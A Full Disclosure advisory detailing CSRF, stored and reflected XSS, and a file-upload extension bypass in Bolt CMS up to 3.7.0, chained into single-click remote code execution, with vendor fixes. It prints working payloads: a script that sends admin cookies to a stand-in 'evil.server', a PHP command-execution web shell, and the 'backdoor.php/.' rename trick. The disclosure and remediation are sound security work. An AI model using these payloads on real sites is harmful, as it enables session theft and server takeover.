Bolt CMS <= 3.7.0 Multiple Vulnerabilities - CSRF to RCE

From: Sivanesh Ashok <sivaneshashok () gmail com>
Date: Fri, 3 Jul 2020 17:31:32 +0530

```
###########################################################################
#                Bolt CMS <= 3.7.0 Multiple Vulnerabilities               #
###########################################################################

Author - Sivanesh Ashok | @sivaneshashok | stazot.com

Date         : 2020-03-24
Vendor       : https://bolt.cm/
Version      : <= 3.7.0
CVE          : CVE-2020-4040, CVE-2020-4041
Last Modified: 2020-07-03


--[ Table of Contents

00 - Introduction

01 - Exploit

02 - Cross-Site Request Forgery (CSRF)
        02.1 - Source code analysis
        02.2 - Exploitation
        02.3 - References

03 - Cross-Site Scripting (XSS)
    03.1 - Preview generator
        03.1.1 - Exploitation
    03.2 - System Log
        03.2.1 - Source code analysis
        03.2.2 - Exploitation
    03.3 - File name
        03.3.1 - Source code analysis
        03.3.2 - Exploitation
                03.3.3 - References
    03.4 - JS file upload
        03.4.1 - Exploitation
    03.5 - CKEditor4
        03.5.1 - Exploitation

04 - Remote Code Execution
        04.1 - Source code analysis
        04.2 - Exploitation
        04.3 - References

05 - Solution

06 - Contact


--[ 00 - Introduction

Bolt CMS is an open-source content management tool. This article details
the multiple vulnerabilities that I found in the application. The
vulnerabilities when chained together, resulted in a single-click RCE which
would allow an attacker to remotely take over the server. The link to the
exploit is provided in the next section.


--[ 01 - Exploit

Chaining all the bugs together results in a single-click RCE. The exploit
that does that can be found in the link below.
https://github.com/staz0t/exploits/blob/master/SA20200324_boltcms_csrf_to_rce.html

Host the exploit code in a webpage and send the link to the admin. When the
admin opens the link, backdoor.php gets uploaded and can be accessed via,
http://targetbolt.com/files/backdoor.php?cmd={insert_cmd_here}


--[ 02 - Cross-Site Request Forgery (CSRF)

Bolt CMS lacks CSRF protection in the preview generating endpoint. Previews
are intended to be generated by the admins, developers, chief-editors, and
editors, who are authorized to create content in the application. But due
to lack of CSRF protection, an unauthorized attacker can generate a
preview. This CSRF by itself does not have a huge impact. But this will be
used with the XSS, which are described below.


--[ 02.1 - Source code analysis

The preview generation is done
by preview() function which is defined in
vendor/bolt/bolt/src/Controller/Frontend.php:200 and there is no token
verification present in the function.


--[ 02.2 - Exploitation

The request that is can be forged is,

----[ request ]----

    POST /preview/page HTTP/1.1
    Host: localhost


content_edit[_token]=hTgbvurW15fZ4m20bnb1AZCRrv8wFT0hzvjQi1TMW_wcontenttype=pages&title=title&slug=testpage1&teaser=te
aser1&body=body1&id=1337

----[ request ]----

To exploit this vulnerability an attacker has to,

1. Make an HTML page with a form that has the required parameters shown
above. The content_edit[_token] is not required.

2. Use JS to auto-submit the form.

3. Host it on a website and send the link to the victim. i.e., an
```

authorized user.

When the victim opens the link, the browser will send the request to the
server and will follow the redirect to the preview page.

This CSRF by itself does not have a huge impact. But this will be used with
the XSS, which are described below.

--[02.3 - References

[CVE-2020-4040] -
https://github.com/bolt/bolt/security/advisories/GHSA-2g66-6cc3-6xm8

--[03 - Cross-Site Scripting (XSS)

The application is vulnerable to XSS in multiple endpoints, which could be
exploited by an attacker to execute javascript code in the context of the
victim user.

--[03.1 - Preview generator

The app uses CKEditor to get input from the users and hence any unsafe
inputs are filtered. But the request can be intercepted and manipulated to
add javascript in the content, which gets executed in the preview page.
Hence the preview generator is vulnerable to reflected XSS.

--[03.1.1 - Exploitation

```
----[ request ]----

    POST /preview/page HTTP/1.1
    Host: localhost

    contenttype=pages&title=title&slug=testpage1&teaser=teaser1&body=<script>alert(1)</script>&id=151

----[ request ]----

----[ response ]----
.
.
.
<p class="meta">
    Written by <em>Unknown</em> on Monday March 23, 2020
</p>
    teaser1
    <script>alert(1)</script>
.
.
.
----[ response ]----
```

As shown above the payload in the request's body parameter is reflected in
the response. An attacker can chain the above explained CSRF with this
vulnerability to execute javascript code on the context of the victim user.

--[03.2 - System Log

The 'display name' of the users is vulnerable to stored XSS. The value is
not encoded when displayed in the system log, by the functionality that
logs the event when an authorized user enables, disables or deletes user
accounts. The unencoded 'display name' is displayed in the system log,
hence allowing the execution of javascript in the context of admin or
developer since those are the roles that are allowed to access the system
log, by default.

--[03.2.1 - Source code analysis

The vulnerability is in the
vendor/bolt/bolt/src/Controller/Backend/Users.php where the user actions
are performed and logged. There are two variables that store and are used
to display user data in this code. $user and $userEntity. It can be seen
that $userEntity is initiated with the values after being passed to
$form->isValid(). This shows that $user has the unencoded input and
$userEntity has the encoded input.

In line 341, the code adds an entry to the log when a user updates their
profile. It can be seen that it uses $userEntity->getDisplayName(), hence
the displayed user input is encoded. But in line 279, there is a switch
case condition that logs the respective actions of enable, disable, delete
in the system log.

```
----[ code segment ]----

    switch ($action) {
        case 'disable':
            if ($this->users()->setEnabled($id, false)) {
                $this->app['logger.system']->info("Disabled user
'{$user->getDisplayname()}'.", ['event' => 'security']);


$this->flashes()->info(Trans::__('general.phrase.user-disabled', ['%s'
=> $user->getDisplayname()]));
            } else {

$this->flashes()->info(Trans::__('general.phrase.user-failed-disabled',
['%s' => $user->getDisplayname()]));
            }
            break;

        case 'enable':
            if ($this->users()->setEnabled($id, true)) {
                $this->app['logger.system']->info("Enabled user
'{$user->getDisplayname()}'.", ['event' => 'security']);

$this->flashes()->info(Trans::__('general.phrase.user-enabled', ['%s'
=> $user->getDisplayname()]));
            } else {

$this->flashes()->info(Trans::__('general.phrase.user-failed-enable',
['%s' => $user->getDisplayname()]));
            }
            break;

        case 'delete':
            if ($this->isCsrfTokenValid() && $this->users()->deleteUser($id)) {
                $this->app['logger.system']->info("Deleted user
'{$user->getDisplayname()}'.", ['event' => 'security']);

$this->flashes()->info(Trans::__('general.phrase.user-deleted', ['%s'
=> $user->getDisplayname()]));
            } else {

$this->flashes()->info(Trans::__('general.phrase.user-failed-delete',
['%s' => $user->getDisplayname()]));
            }
            break;

        default:
            $this->flashes()->error(Trans::__('general.phrase.no-such-action-for-user',
['%s' => $user->getDisplayname()]));
    }

---- [ code segment ]----
```

As shown above, the code uses $user->getDisplayName() instead of
$userEntity->getDisplayName(), which leads to the display of unencoded user
input.

--[03.2.2 - Exploitation

Here is how an attacker with any role can execute javascript code in the
context of the victim.

1. Log in and go to your profile settings and set your display name to
some javascript payload.
   For example,
   <script>document.write('<img
src="https://evil.server/?cookie='+document.cookie+'"/>')</script>
   This payload will send the admin's cookies to attacker's server

2. Now request the admin (or the victim user) to disable your account.

When the admin visits the system log or the mini system log that is shown
on the right side of the Users & Permissions page, the payload gets
executed in the admin's browser.

--[03.3 - Filename

The file name is vulnerable to stored XSS. It is not possible to inject
javascript code in the file name when creating/uploading the file. But,
once created/uploaded, it can be renamed to inject the payload in it.

--[03.3.1 - Source code analysis

The function that is responsible for renaming files is renameFile(), which
is defined in
vendor/bolt/bolt/src/Controller/Async/FilesystemManager.php:335

----[code segment]----

```
    public function renameFile(Request $request)
    {
        // Verify CSRF token
        $this->checkToken($request);

        $namespace = $request->request->get('namespace');
        $parent = $request->request->get('parent');
        $oldName = $request->request->get('oldname');
        // value assigned without any validation
        $newName = $request->request->get('newname');

        if (!$this->isExtensionChangedAndIsChangeAllowed($oldName, $newName)) {
            return
$this->json(Trans::__('general.phrase.only-root-change-file-extensions'),
Response::HTTP_FORBIDDEN);
        }

        if ($this->validateFileExtension($newName) === false) {
            return $this->json( sprintf("File extension not allowed:
%s", $newName), Response::HTTP_BAD_REQUEST);
        }

        try {
            // renaming with the same unvalidated value
            $this->filesystem()->rename("$namespace://$parent/$oldName",
"$parent/$newName");

            return $this->json($newName, Response::HTTP_OK);
        } catch (ExceptionInterface $e) {
            $msg = Trans::__('Unable to rename file: %FILE%',
['%FILE%' => $oldName]);
            $this->logException($msg, $e);

            if ($e instanceof FileExistsException) {
                $status = Response::HTTP_CONFLICT;
            } elseif ($e instanceof FileNotFoundException) {
                $status = Response::HTTP_NOT_FOUND;
            } else {
                $status = Response::HTTP_INTERNAL_SERVER_ERROR;
            }

            return $this->json($msg, $status);
        }
    }
```

----[code segment]----

As shown above, $newName is initiated with value directly from the request,
without any validation or filtering. This allows an attacker to inject
javascript code in the name while renaming, making it vulnerable to stored
XSS.

A interesting thing is, if the server is hosted on Windows it is not
possible to create files with special characters like <, >. So if this
attack is tried on Bolt CMS that is hosted on Windows it will not work. But
Linux allows special characters in file names. So, this works only if the
application is hosted on a Linux machine.

--[03.3.2 - Exploitation

1. Create or upload a file.

2. Rename it to inject javascript code in it.
   For example,
   <script>document.write('<img
src="https://evil.server/?cookie='+document.cookie+'"/>')</script>
   This payload will send the victim's cookies to attacker's server

3. When the admin (or the victim user) visits the file management page, the
payload gets executed.

--[03.3.3 - References

[CVE-2020-4041] -
https://github.com/bolt/bolt/security/advisories/GHSA-68q3-7wjp-7q3j

--[03.4 - JS file upload

This stored XSS is a logical flaw in the application. By default in the
config.yml file, the application allows the following file types.

----[code segment]----

```
    accept_file_types: [ twig, html, js, css, scss, gif, jpg, jpeg, png,
    ico, zip, tgz, txt, md, doc, docx, pdf, epub, xls, xlsx, ppt, pptx, mp3,
    ogg, 1wav, m4a, mp4, m4v, ogv, wmv, avi, webm, svg ]
```

----[code segment]----

It can be seen that it allows js and HTML files.

--[03.4.1 - Exploitation

An attacker with permission to upload files can exploit this to to upload
an HTML file with some javascript in it or include the uploaded js file

into the HTML. When the victim visits the uploaded file, the javascript
code gets executed in the context of the victim.

--[03.5 - CKEditor4

Bolt CMS uses CKEditor4 in the blogs to get input. CKEditor4 by default
filters malicious HTML attributes but not the src attribute. So, it can be
exploited by using javscript URL in the src of an iframe. It is important
to not rely on CKEditor4 for XSS prevention since it is only a client side
filter, and not a server-side validator.

--[03.5.1 - Exploitation

To exploit this vulnerability, an attacker with permission to create/edit
blogs should,

1. Open the 'New Blog' page.

2. Select the 'source mode' in CKEditor4 and enter the payload
    `<iframe src=javascript:alert(1)>`

3. (optional) Switch back to WYSIWYG mode.

4. Post the blog.

When the victim visits the blog, the javascript code gets executed in the
context of the victim.

Now, all these XSS vulnerabilities on the surface look like simple
privilege escalation for an already authorized user, except for the preview
generator. But chaining these with the CSRF, any unauthorized attacker can
gain admin privileges, with little to no social engineering.

--[04 - Remote Code Execution

The application does not allow the upload of files with 'unsafe'
extensions, which include php and it's alternatives. But I bypassed this
protection by crafting a file name that abuses the sanitization functions.
An attacker with permissions to upload files can exploit this to upload php
files and execute code on the server.

This vulnerability was chained with the above mentioned CSRF and XSS to
achieve single-click RCE.

--[04.1 - Source code analysis

The function that validates the extension is validateFileExtension() which
is defined
invendor/bolt/bolt/src/Controller/Async/FilesystemManager.php:462

----[code segment]----

```
    private function validateFileExtension($filename)
    {
        // no UNIX-hidden files
        if ($filename[0] === '.') {
            return false;
        }
        // only whitelisted extensions
        $extension = pathinfo($filename, PATHINFO_EXTENSION);
        $allowedExtensions = $this->getAllowedUploadExtensions();

        return $extension === '' || in_array(mb_strtolower($extension),
    $allowedExtensions);
    }
```

----[code segment]----

As shown in the above code segment, the return value returns a value if the
extension is '' or if it is an allowed extension. The function allows
files with no extension. So, I tried to upload a file with the name
'backdoor.php.' The dot at the end makes the pathinfo() function return
null. So the file gets accepted. But when you open the file in the browser,
it does not execute it as php, but just as a plain text file.

The next step is to get the last dot removed.

Analyzing the rename() function defined in
vendor/bolt/filesystem/src/Filesystem.php:300, the function calls another
function normalizePath($newPath) with the new path as a parameter.

----[code segment]----

```
    public function rename($path, $newPath)
    {
        $path = $this->normalizePath($path);
        $newPath = $this->normalizePath($newPath);
        $this->assertPresent($path);
        $this->assertAbsent($newPath);

        $this->doRename($path, $newPath);
    }
```

----[code segment]----

The normalizePath() function is defined in the same file in line 823, acts
as a wrapper to Flysystem's normalizePath() function. It is being used to
fetch the 'real' path of files. This is used to validate the file location
etc. For example,

./somedir/../text.txt == ./text.txt == text.txt

So when './text.txt' is passed to this function, it returns 'text.txt'

So, to remove the last dot from our file name 'backdoor.php.', I changed it
to 'backdoor.php/.' Passing it to normalizePath() it returns 'backdoor.php',
which is exactly what is needed.

So the data flow looks like, first the value 'backdoor.php/.' is passed to
validateFileExtension() which returns NULL because there is no text after
that last dot. So, the extesion filter is bypassed. Next, the same value is
passed to normalizePath() which removes the last '/.' because it looks like
it's a path to the current directory. At the end, the file gets renamed to
'backdoor.php'

Pwned!

--[04.2 - Exploitation

To exploit this vulnerability, an attacker with permission to upload files
should,

1. Create a php file with code that gives a backdoor.
    For example,
    `<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd =
($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>`

2. Rename the file with a dot at the end.
    For example,
    'backdoor.php.'

3. Upload the file and rename it to 'backdoor.php/.'
    You will notice that it will get renamed to 'backdoor.php'

```
--[ 04.3 - References
https://stazot.com/boltcms-file-upload-bypass


--[ 05 - Solution

1. Validate the CSRF token before generating preview in preview() function
- vendor/bolt/bolt/src/Controller/Frontend.php:200

2. Validate the user inputs to the preview generation endpoint before
displaying them in preview() function -
vendor/bolt/bolt/src/Controller/Frontend.php:200

3. Use the variable that has the encoded value to display user information.
i.e., use $userEntity instead of $user in -
vendor/bolt/bolt/src/Controller/Backend/Users.php:279

4. Validate the user inputs before renaming the files in renameFile()
function in - /src/Controller/Async/FilesystemManager.php:335

5. Do not allow the upload of JS and HTML files. If that is absolutely
required, then add it as a separate permission that the admin can allocate
to certain roles and not everyone who has access to file upload.

6. Enable CKEditor4's option to disallow javascript URLs. For more
information, checkhttps://ckeditor.com/docs/ckeditor4/latest/api/CKEDITOR_config.html#cfg-linkJavaScriptLinksAllowed

7. Change the flow of data while renaming. First pass the data through
normalizePath() data and then through validateFileExtension(). That way,
the validation function validates the final value.


--[ 06 - Contact

Name    : Sivanesh Ashok

Twitter: @sivaneshashok

Website: https://stazot.com

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
```

By Date By Thread

Current thread:

- **Bolt CMS <= 3.7.0 Multiple Vulnerabilities - CSRF to RCE** *Sivanesh Ashok (Jul 03)*